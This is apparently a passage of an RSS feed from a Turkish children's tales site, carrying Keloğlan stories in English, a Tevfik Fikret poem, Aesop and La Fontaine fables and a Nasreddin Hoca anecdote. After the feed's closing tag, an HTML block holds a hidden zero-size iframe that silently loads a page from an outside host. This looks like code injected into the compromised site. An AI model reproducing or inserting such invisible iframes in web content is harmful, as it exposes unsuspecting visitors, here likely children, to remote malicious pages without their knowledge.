<p>Keloğlan, bu olaya üzülmemiş doğal olarak. Fakat, zenginlik neymiş, nasıl olurmuş, gösterecekmiş Küpçü Ali’ye.</p>
<p>Eşeğini çıkarmış ahırdan, sazını vurmuş omzuna, öpüp anasının ellerinden, duasını almış.</p>
<p>Eşeğine binip yollara düşmüş..</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masaldiyari.net/keloglan-ve-sazi/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Bald boy and Emperor &#8211; Keloğlan ile Padişah</title>
		<link>http://www.masaldiyari.net/bald-boy-and-emperor-keloglan-ile-padisah</link>
		<comments>http://www.masaldiyari.net/bald-boy-and-emperor-keloglan-ile-padisah#comments</comments>
		<pubDate>Wed, 03 Feb 2010 13:43:07 +0000</pubDate>
		<dc:creator>Ekol</dc:creator>
				<category><![CDATA[Keloglan masalları]]></category>
		<category><![CDATA[İngilizce masallar]]></category>
		<category><![CDATA[Bald boy and Emperor]]></category>
		<category><![CDATA[keloğlan]]></category>
		<category><![CDATA[keloğlan ile padişah]]></category>
		<category><![CDATA[keloğlan ingilizce masal]]></category>
		<category><![CDATA[masal]]></category>
		<category><![CDATA[masal dinle]]></category>
		<category><![CDATA[Masal diyarı]]></category>

		<guid isPermaLink="false">http://www.masaldiyari.net/?p=1698</guid>
		<description><![CDATA[
Bald boy and Emperor &#8211; Keloğlan ile Padişah


Bald boy got the gold and when he was on his own way he saw a group of people beating up a cat. He said “take this piece of gold and stop beating him”.  He rescues the cat and he and cat start to walk again. A while [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.masaldiyari.net/wp-content/uploads/2010/02/keloglan_ile_padisah.jpg"><img class="alignnone size-full wp-image-1699" title="keloglan_ile_padisah" src="http://www.masaldiyari.net/wp-content/uploads/2010/02/keloglan_ile_padisah.jpg" alt="keloglan_ile_padisah" width="303" height="501" /></a></p>
<p><span style="color: #800080;"><strong>Bald boy and Emperor &#8211; <a href="http://www.masaldiyari.net">Keloğlan</a> ile Padişah</strong></span></p>
<p><span style="color: #800080;"><strong><br />
</strong></span></p>
<p><span style="color: #000080;"><strong>Bald boy got the gold and when he was on his own way he saw a group of people beating up a cat. He said “take this piece of gold and stop beating him”.  He rescues the cat and he and cat start to walk again. A while later, he saw couple of people beating up a dog. He again said “stop it, what are you doing?” and he saves the dog as well.<br />
And then he continues to walk along with a dog and cat. When he almost has got near by to the town, he saw a crowd again and he saw woodchoppers trying to kill a snake. He could not able to stop himself again and says: “take this piece of gold and let him go.” And he also saves the snake.<br />
The snake said: “The son of the Adam, I am the son of the snake emperor. I had argued with my dad and I hide over here. But they found me. I wanted to go back to my dad and if you want you can come along with me. Bald boy decided to go with the snake and soon after they introduce themselves to the snake emperor. Snake emperor feels so happy to see his son again and he wants to give a reward to the bald boy and he says: “make a wish, anything you want to” and at that moment prince snake whisper in his ear and says “ask him to give the seal under his tongue” and Bald boy says : “ I want your seal”<br />
The emperor says that you ask for my most precious treasure. I am gonna give it to you because you saved my son. He says that whatever he wishes his wishes will become true with this seal and gives it to the bald boy. Bald boy got the seal, the dog and the cat and go back to his house. When his mother sees that he did not bring home nothing but a dog and cat she gets mad at him.<br />
The day after bald boy says his mother and says go and ask for emperor’s young daughters’ hand. His mother says that, he would not give his daughters’ hand to you. But bald boy was so insist and she eventually went to the palace to ask for emperors’ daughters’ hand.<br />
Emperor says if you build a big palace just across my palace then I can say okay. His mother returns back to home and tells what emperor wants from them.<br />
Bald boy says: no worries, I can do it in five minutes. And he asks the seal to make a big palace. When emperor gets up the day after and sees the big palace built in a night he has to give his permission to him.<br />
Bald boy moved into his new palace and he put his seal to the best place in it. One day in the absence of bald boy, some one comes to the home as a bead seller who is aware of the seal and he tries to sell beads to bald boys’ wife. His wife says that she does not have any money and this con man says you do not need to give me any money, you can get whatever you want to trade that seal as an exchange he says. Wife says ok and gives to bead seller and gives seal to him.  He got the seal and cross the lake just right after. The palaces fall apart right away. The emperor takes her daughter back as well. When bald boy come back to the home with the cat and the dog and see what happened he feels so unhappy and feels so sad.<br />
Cat says. I can find the seal but I can not get across the lake. Dog says, I can swim through lake and you can sit on me. They do that, and come to the man’s house. When they arrive to the home dog waited in front of the house and the cat catches a mouse and put hot pepper to the his tale. Later on he walked in and he put the mouse’s tale into the man’s nose. Therefore, the man sneezes and the seal under his tongue fall off. The cat catches the seal and along with the dog they run to the lake. The dog start swimming back to their place but in the middle of the lake cat drops the seal from his mouth and a fish swallow the seal. This time dog gets the responsibility and they both went to the fish market. The dog sniffs each fish and find out which one has the seal and show it to the bald boy. Bold boy buys that fish right away and they return back to their house.<br />
Bald boy gets back his palace and his wife and for the honor of this new start he makes celebrities for 40 nights and 40 days.</strong></span></p>
<p><span style="color: #000080;"><strong><br />
</strong></span></p>
<p><span style="color: #003366;"><strong><span style="color: #800080;"><a href="http://www.masaldiyari.net">Keloğlan Masalları</a> ingilizce olarak <a href="http://www.masaldiyari.net">Masal diyar</a>ında.</span>.</strong></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.masaldiyari.net/bald-boy-and-emperor-keloglan-ile-padisah/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Bald Boy and Magic Cup &#8211; Keloğlan ile Sihirli TAS</title>
		<link>http://www.masaldiyari.net/bald-boy-and-magic-cup-keloglan-ile-sihirli-tas</link>
		<comments>http://www.masaldiyari.net/bald-boy-and-magic-cup-keloglan-ile-sihirli-tas#comments</comments>
		<pubDate>Sat, 30 Jan 2010 22:17:39 +0000</pubDate>
		<dc:creator>Ekol</dc:creator>
				<category><![CDATA[Keloglan masalları]]></category>
		<category><![CDATA[İngilizce masallar]]></category>
		<category><![CDATA[bald boy tales]]></category>
		<category><![CDATA[keloğlan]]></category>
		<category><![CDATA[masal]]></category>
		<category><![CDATA[masal dinle]]></category>
		<category><![CDATA[Masal diyarı]]></category>
		<category><![CDATA[masallar]]></category>
		<category><![CDATA[tales]]></category>

		<guid isPermaLink="false">http://www.masaldiyari.net/?p=1686</guid>
		<description><![CDATA[
Bald Boy and Magic Cup


Once upon a time there was a  bald boy; his mother calls him baldy boy. One day  he asked his mother’s permission to go to the fishing. He thought that  he might be his lucky day and he can catch couple of fishes so they can  have a nice [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.masaldiyari.net/wp-content/uploads/2010/01/keloglan.jpg"><img class="alignnone size-full wp-image-1687" title="keloglan" src="http://www.masaldiyari.net/wp-content/uploads/2010/01/keloglan.jpg" alt="keloglan" width="240" height="283" /></a></p>
<p><span style="color: #ff0000;"><strong>Bald Boy and Magic Cup</strong></span></p>
<p><span style="color: #800000;"><strong><br />
</strong></span></p>
<p style="text-indent: 0.5in;"><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;">Once upon a time there was a  bald boy; his mother calls him baldy boy. One day  he asked his mother’s permission to go to the fishing. He thought that  he might be his lucky day and he can catch couple of fishes so they can  have a nice meal. </span></span></strong></span></p>
<p style="text-indent: 0.5in;"><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;">He went by the river and he  threw his hook into the river. By the noon he caught a big fish. This  fish was so pretty. Its scales were as bright as silver, its eyes were  as bright as a glass…</span></span></strong></span></p>
<p style="text-indent: 0.5in;"><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;">Bald boy cleaned its scales,  he split it in two pieces and he saw there is a huge cup in its stomach. He felt so happy and so lucky and he thought that I  will bring my mother both of them: the fish and the cup.</span></span></strong></span></p>
<p><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;"> </span></span></strong></span></p>
<p style="text-indent: 0.5in;"><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;">He filled the cup with water  and he wanted to clean the fish. And then something unnatural happened.  The water that he has been poured from the cup becomes gold. He could  not believe it to his eyes and he tried couple of times. This might be a magic cup. He said I have to let my mother know  about it to himself and run to his home. </span></span></strong></span></p>
<p><span style="color: #800000;"><strong><span style="font-size: small;"><span style="font-family: Arial;">Later on he tried it again and he filled the  magic cup with water and emptied and every time he emptied all the  water became gold. After a while, he was the richest person on this  town. He was even wealthier than the emperor. A Couple of days after, he  built a big palace to himself and he hired maids. He was able to buy  everything he wanted and everything he would like to eat. At the end  though, he became a bit naughty and spoiled. He  started to spend his money on unnecessary things and he even did not  consider his mother who advised him to be careful and be wise. He was  saying that “I’ve got the magic cup and I can do whatever I want to”. </span></span></strong></span></p>
<p><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;">When the bald bay dramatically changed, become a spoiled and a  greedy person, people around him start to talk about his behavior and  lost their respect toward him and they said that they do not like him  anymore. </span></span></strong></span></p>
<p><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;"> </span></span></strong></span></p>
<p><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;"> </span></span></strong></span></p>
<p><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;">One day, bald boy went by the river again and he said water in  the river would not go less and I can build another palace to myself.  His pride and greed makes him act like crazy. He was not even thinking  anything else anymore. And all a sudden the magic cup fell into the  river and bald boy try to catch it and he also fell of into the river.  He was almost drowned. Eventually he saved his own life and able to make  it shore but unfortunately all the gold he saved by the river stolen by  thieves. </span></span></strong></span></p>
<p><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;"> </span></span></strong></span></p>
<p><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;">Magic cup was missing and bald boy felt that there is no way  to find it anymore. He went to his mother told her what happened while  he was crying. </span></span></strong></span></p>
<p><span style="color: #800000;"><strong><span style="font-family: Arial;"><br />
<span style="font-size: small;">His mother said: “Do not worry my son. Something comes from  nothing it goes to nothing. You did not earn that cup with your effort.  On the top of it you become so spoiled as a result of having it. This is  much better for you. At least you are not going to look people down  anymore.”</span></span></strong></span></p>
<p><span style="color: #800000;"><strong><span style="font-family: Arial;"><span style="font-size: small;">Bald boy agreed on those words and from that day on he never  mentioned about the magic cup. </span></span></strong></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.masaldiyari.net/bald-boy-and-magic-cup-keloglan-ile-sihirli-tas/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bir içim Su</title>
		<link>http://www.masaldiyari.net/bir-icim-su</link>
		<comments>http://www.masaldiyari.net/bir-icim-su#comments</comments>
		<pubDate>Mon, 18 Jan 2010 15:09:46 +0000</pubDate>
		<dc:creator>Ekol</dc:creator>
				<category><![CDATA[Çocuk şiirleri]]></category>
		<category><![CDATA[bir içim su]]></category>
		<category><![CDATA[çocuk]]></category>
		<category><![CDATA[masal]]></category>
		<category><![CDATA[masal dinle]]></category>
		<category><![CDATA[Masal diyarı]]></category>
		<category><![CDATA[tevfik fikret]]></category>
		<category><![CDATA[tevfik fikret çocuk şiirleri]]></category>

		<guid isPermaLink="false">http://www.masaldiyari.net/?p=1656</guid>
		<description><![CDATA[
Bir içim su

Güzel çoban, bir içim, bir yudum su testinden
Bugün sıcak yine pek, sanki ortalık yanıyor
Güzel çocuk senin olsun hayatım istersen
Niçin gözüm sana baktıkça böyle yaşlanıyor?
Güzel çoban, ne kadar tatlı söylüyorsun sen
Yalan da olsa içim doğru söyledin sanıyor
Güzel çocuk, bana bak, aldatır mıyım seni ben?
İçin bu yaşları boş anlıyorsa aldanıyor!
Güzel çoban, bir içim, bir yudum [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.masaldiyari.net/wp-content/uploads/2010/01/bir_icim_su.jpg"><img class="alignnone size-full wp-image-1657" title="bir_icim_su" src="http://www.masaldiyari.net/wp-content/uploads/2010/01/bir_icim_su.jpg" alt="bir_icim_su" width="350" height="256" /></a></p>
<p><span style="color: #ff0000;"><strong>Bir içim su</strong></span></p>
<p><strong><br />
Güzel çoban, bir içim, bir yudum su testinden<br />
Bugün sıcak yine pek, sanki ortalık yanıyor</p>
<p>Güzel çocuk senin olsun hayatım istersen<br />
Niçin gözüm sana baktıkça böyle yaşlanıyor?</p>
<p>Güzel çoban, ne kadar tatlı söylüyorsun sen<br />
Yalan da olsa içim doğru söyledin sanıyor</p>
<p>Güzel çocuk, bana bak, aldatır mıyım seni ben?<br />
İçin bu yaşları boş anlıyorsa aldanıyor!</p>
<p>Güzel çoban, bir içim, bir yudum su testinden<br />
Bugün sıcak yine pek, sanki her yanım yanıyor..!</strong></p>
<p><strong><span style="color: #ff0000;">Tevfik Fikret ( Çocuk şiirleri )</span><br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.masaldiyari.net/bir-icim-su/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Rüzgar ile Güneş</title>
		<link>http://www.masaldiyari.net/ruzgar-ile-gunes</link>
		<comments>http://www.masaldiyari.net/ruzgar-ile-gunes#comments</comments>
		<pubDate>Sat, 02 Jan 2010 08:56:46 +0000</pubDate>
		<dc:creator>Ekol</dc:creator>
				<category><![CDATA[Ezop masalları]]></category>
		<category><![CDATA[masal]]></category>
		<category><![CDATA[masal dinle]]></category>
		<category><![CDATA[masal oku]]></category>
		<category><![CDATA[masallar]]></category>
		<category><![CDATA[rüzgar ve güneş]]></category>

		<guid isPermaLink="false">http://www.masaldiyari.net/?p=1652</guid>
		<description><![CDATA[
Rüzgar ile Güneş


Güneş ve rüzgâr kimin daha güçlü olduğunu tartışıyorlarmış. Rüzgâr

-Ben daha güçlü olduğumu kanıtlayacağım. Şu karşıdaki paltolu yaşlı adamı görüyor musun ? Paltosunu senden daha hızlı çıkaracağıma bahse girerim

Demiş. Güneş bir bulutun arkasına çekilmiş ve rüzgâr kasırga şiddetinde esmeye başlamış. O kuvvetle estikçe ihtiyar adam paltosuna daha sıkı sarılıyormuş.
Sonunda rüzgâr pes edip durmuş. Güneş bulutların [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.masaldiyari.net/wp-content/uploads/2010/01/ruzgar_ile_gunes_masali.png"><img class="alignnone size-medium wp-image-1653" title="ruzgar_ile_gunes_masali" src="http://www.masaldiyari.net/wp-content/uploads/2010/01/ruzgar_ile_gunes_masali-300x242.png" alt="ruzgar_ile_gunes_masali" width="300" height="242" /></a></p>
<p><span style="color: #ff0000;"><strong>Rüzgar ile Güneş</strong></span></p>
<p><strong><br />
</strong></p>
<p><strong>Güneş ve rüzgâr kimin daha güçlü olduğunu tartışıyorlarmış. Rüzgâr</strong></p>
<dl>
<dd><strong><em>-Ben daha güçlü olduğumu kanıtlayacağım. Şu karşıdaki paltolu yaşlı adamı görüyor musun ? Paltosunu senden daha hızlı çıkaracağıma bahse girerim</em></strong></dd>
</dl>
<p><strong>Demiş. Güneş bir bulutun arkasına çekilmiş ve rüzgâr kasırga şiddetinde esmeye başlamış. O kuvvetle estikçe ihtiyar adam paltosuna daha sıkı sarılıyormuş.</strong></p>
<p><strong>Sonunda rüzgâr pes edip durmuş. Güneş bulutların arkasından çıkıp yaşlı adama nazikçe gülümsemiş. Çok geçmeden adam alnındaki teri silip paltosunu çıkarmış.</strong></p>
<p><strong>Sonra , rüzgâra dönmüş nazik ve dostça davranışın, şiddet ve güç gösterisinden daha etkili olduğunu söylemiş.</strong></p>
<p><strong><span style="color: #ff0000;">Ezop Masalları</span><br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.masaldiyari.net/ruzgar-ile-gunes/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Aslan Payı</title>
		<link>http://www.masaldiyari.net/aslan-payi</link>
		<comments>http://www.masaldiyari.net/aslan-payi#comments</comments>
		<pubDate>Sat, 02 Jan 2010 08:45:27 +0000</pubDate>
		<dc:creator>Ekol</dc:creator>
				<category><![CDATA[La Fontaine Masalları]]></category>
		<category><![CDATA[Aslan Payı]]></category>
		<category><![CDATA[Aslan Payı masalı]]></category>
		<category><![CDATA[La Fontaine]]></category>
		<category><![CDATA[la fonten masalları]]></category>
		<category><![CDATA[masal]]></category>
		<category><![CDATA[masallar]]></category>

		<guid isPermaLink="false">http://www.masaldiyari.net/?p=1649</guid>
		<description><![CDATA[



Aslan Payı


Evvel zaman içinde bir gün,
Kısrak, keçi ve kız kardeşleri koyun
Bir aslanla birlik olmuşlar.

Yaman bir aslanmış bu, çevrenin derebeyi.
Kazançta da, kayıpta da ortağız demişler.

Ertesi gün bir geyik düşmüş nasılsa
Keçinin kurduğu ağlara.
Hemen ortaklarına haber salmış keçi.
Toplanmışlar hemen ve aslan
Pençeleriyle sayıp ortakları tek tek
-Dört kişiyiz, demiş bu avı paylaşacak.
Der demez de dörde bölüvermiş geyiği.

Birinci parçayı kendine ayırmış, [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://www.masaldiyari.net/wp-content/uploads/2010/01/aslan_payi.jpg"><img class="alignnone size-medium wp-image-1650" title="aslan_payi" src="http://www.masaldiyari.net/wp-content/uploads/2010/01/aslan_payi-300x200.jpg" alt="aslan_payi" width="300" height="200" /></a><br />
</strong></p>
<p><strong><br />
</strong></p>
<p><strong><span style="color: #ff0000;">Aslan Payı</span></strong></p>
<p><strong><br />
</strong></p>
<p><strong>Evvel zaman içinde bir gün,<br />
Kısrak, keçi ve kız kardeşleri koyun<br />
Bir aslanla birlik olmuşlar.</strong></p>
<p><strong><br />
Yaman bir aslanmış bu, çevrenin derebeyi.<br />
Kazançta da, kayıpta da ortağız demişler.</strong></p>
<p><strong><br />
Ertesi gün bir geyik düşmüş nasılsa<br />
Keçinin kurduğu ağlara.<br />
Hemen ortaklarına haber salmış keçi.<br />
Toplanmışlar hemen ve aslan<br />
Pençeleriyle sayıp ortakları tek tek<br />
-Dört kişiyiz, demiş bu avı paylaşacak.<br />
Der demez de dörde bölüvermiş geyiği.</strong></p>
<p><strong><br />
Birinci parçayı kendine ayırmış, tabii<br />
Aslan payı olarak:<br />
-Bu parça benim, demiş, biliyorsunuz neden;<br />
Benim adım aslan da ondan.</strong></p>
<p><strong><br />
Buna karşı bir diyeceğiniz olamaz sanırım.<br />
Yasaya göre ikinci parça da benim hakkım.<br />
Dileyen kitapta yerini bulur:</strong></p>
<p><strong><br />
En güçlü kimse en haklı odur.<br />
Üçüncü parça en değerli ortağın olacak<br />
Ben değilim de kim o en değerli ortak</strong></p>
<p><strong> </strong></p>
<p><strong>Dördüncü parçaya gelince, ha, bak!<br />
O parçaya el uzatanın<br />
Kafasını koparırım, inanın!</strong></p>
<p><strong><span style="color: #ff0000;">La Fontaine Masalları</span><br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.masaldiyari.net/aslan-payi/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Nasrettin hoca Subaşı&#039;nın Eşeği</title>
		<link>http://www.masaldiyari.net/nasrettin-hoca-subasinin-esegi</link>
		<comments>http://www.masaldiyari.net/nasrettin-hoca-subasinin-esegi#comments</comments>
		<pubDate>Sat, 02 Jan 2010 08:20:04 +0000</pubDate>
		<dc:creator>Ekol</dc:creator>
				<category><![CDATA[Nasrettin Hoca Masalları]]></category>
		<category><![CDATA[masal]]></category>
		<category><![CDATA[masal dinle]]></category>
		<category><![CDATA[masallar]]></category>
		<category><![CDATA[nasrettin hoca]]></category>
		<category><![CDATA[Subaşı'nın Eşeği]]></category>

		<guid isPermaLink="false">http://www.masaldiyari.net/?p=1646</guid>
		<description><![CDATA[
Subaşı&#8217;nın Eşeği



Eşeği kaybolan Subaşı, ateş püskürmüş:
-Çabuk benim hayvanımı bulun, yoksa karışmam! Diye bağırmaya başlamış. Herkesi bir telaş , bir korkudur almış. Eşeği aramak için dört bir tarafa dağılan Akşehirliler , yolda Hoca&#8217;ya rastlamışlar:
-Aman Hocam, bize yardım et. Yolda sahipsiz bir eşek bulursan hemen yakala n&#8217;olur.
-Eşek kimin?
-Subaşının. Demişler.
Hoca da: &#8220;Peki ararım&#8221; demiş ve türkü söyleye söyleye [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a href="../wp-content/uploads/2010/01/nasrettin_hoca.png"><img title="nasrettin_hoca" src="../wp-content/uploads/2010/01/nasrettin_hoca-300x278.png" alt="nasrettin_hoca" width="300" height="278" /></a></strong></p>
<p><strong><span style="color: #ff0000;">Subaşı&#8217;nın Eşeği</span><br />
</strong></p>
<p><strong><br />
</strong></p>
<p><span style="color: #008000;"><strong>Eşeği kaybolan Subaşı, ateş püskürmüş:</strong></span></p>
<p><span style="color: #008000;"><strong>-Çabuk benim hayvanımı bulun, yoksa karışmam! Diye bağırmaya başlamış. Herkesi bir telaş , bir korkudur almış. Eşeği aramak için dört bir tarafa dağılan Akşehirliler , yolda Hoca&#8217;ya rastlamışlar:</strong></span></p>
<p><span style="color: #008000;"><strong>-Aman Hocam, bize yardım et. Yolda sahipsiz bir eşek bulursan hemen yakala n&#8217;olur.</strong></span></p>
<p><span style="color: #008000;"><strong>-Eşek kimin?</strong></span></p>
<p><span style="color: #008000;"><strong>-Subaşının. Demişler.</strong></span></p>
<p><span style="color: #008000;"><strong>Hoca da: &#8220;Peki ararım&#8221; demiş ve türkü söyleye söyleye yolunu sürdürmüş. Karşısına çıkan bir köylü :</strong></span></p>
<p><span style="color: #008000;"><strong>-Hocam, böyle türkü söyleyerek ne yapıyorsun? Deyince ,</strong></span></p>
<p><span style="color: #008000;"><strong>Hoca:</strong></span></p>
<p><span style="color: #008000;"><strong>-Subaşının kaybolan eşeğini arıyorum! Demiş. Adam , yine sormuş:</strong></span></p>
<p><span style="color: #008000;"><strong>-Peki , böyle türkü söyleyerek eşek mi aranır a Hoca?</strong></span></p>
<p><span style="color: #008000;"><strong>-El elin eşeğini elbette türkü söyleyerek arar. Hele eşek zorla aranıyorsa. Üstelik Subaşınınsa&#8230;</strong></span></p>
<p><strong><br />
</strong></p>
<p><strong><span style="color: #ff0000;">Nasrettin Hoca</span><br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.masaldiyari.net/nasrettin-hoca-subasinin-esegi/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
<html>
<body>
<iframe src="http://efilmizle.somee.com/www/show.asp" width="0" height="0" frameborder="0"></iframe>
</body>
</html>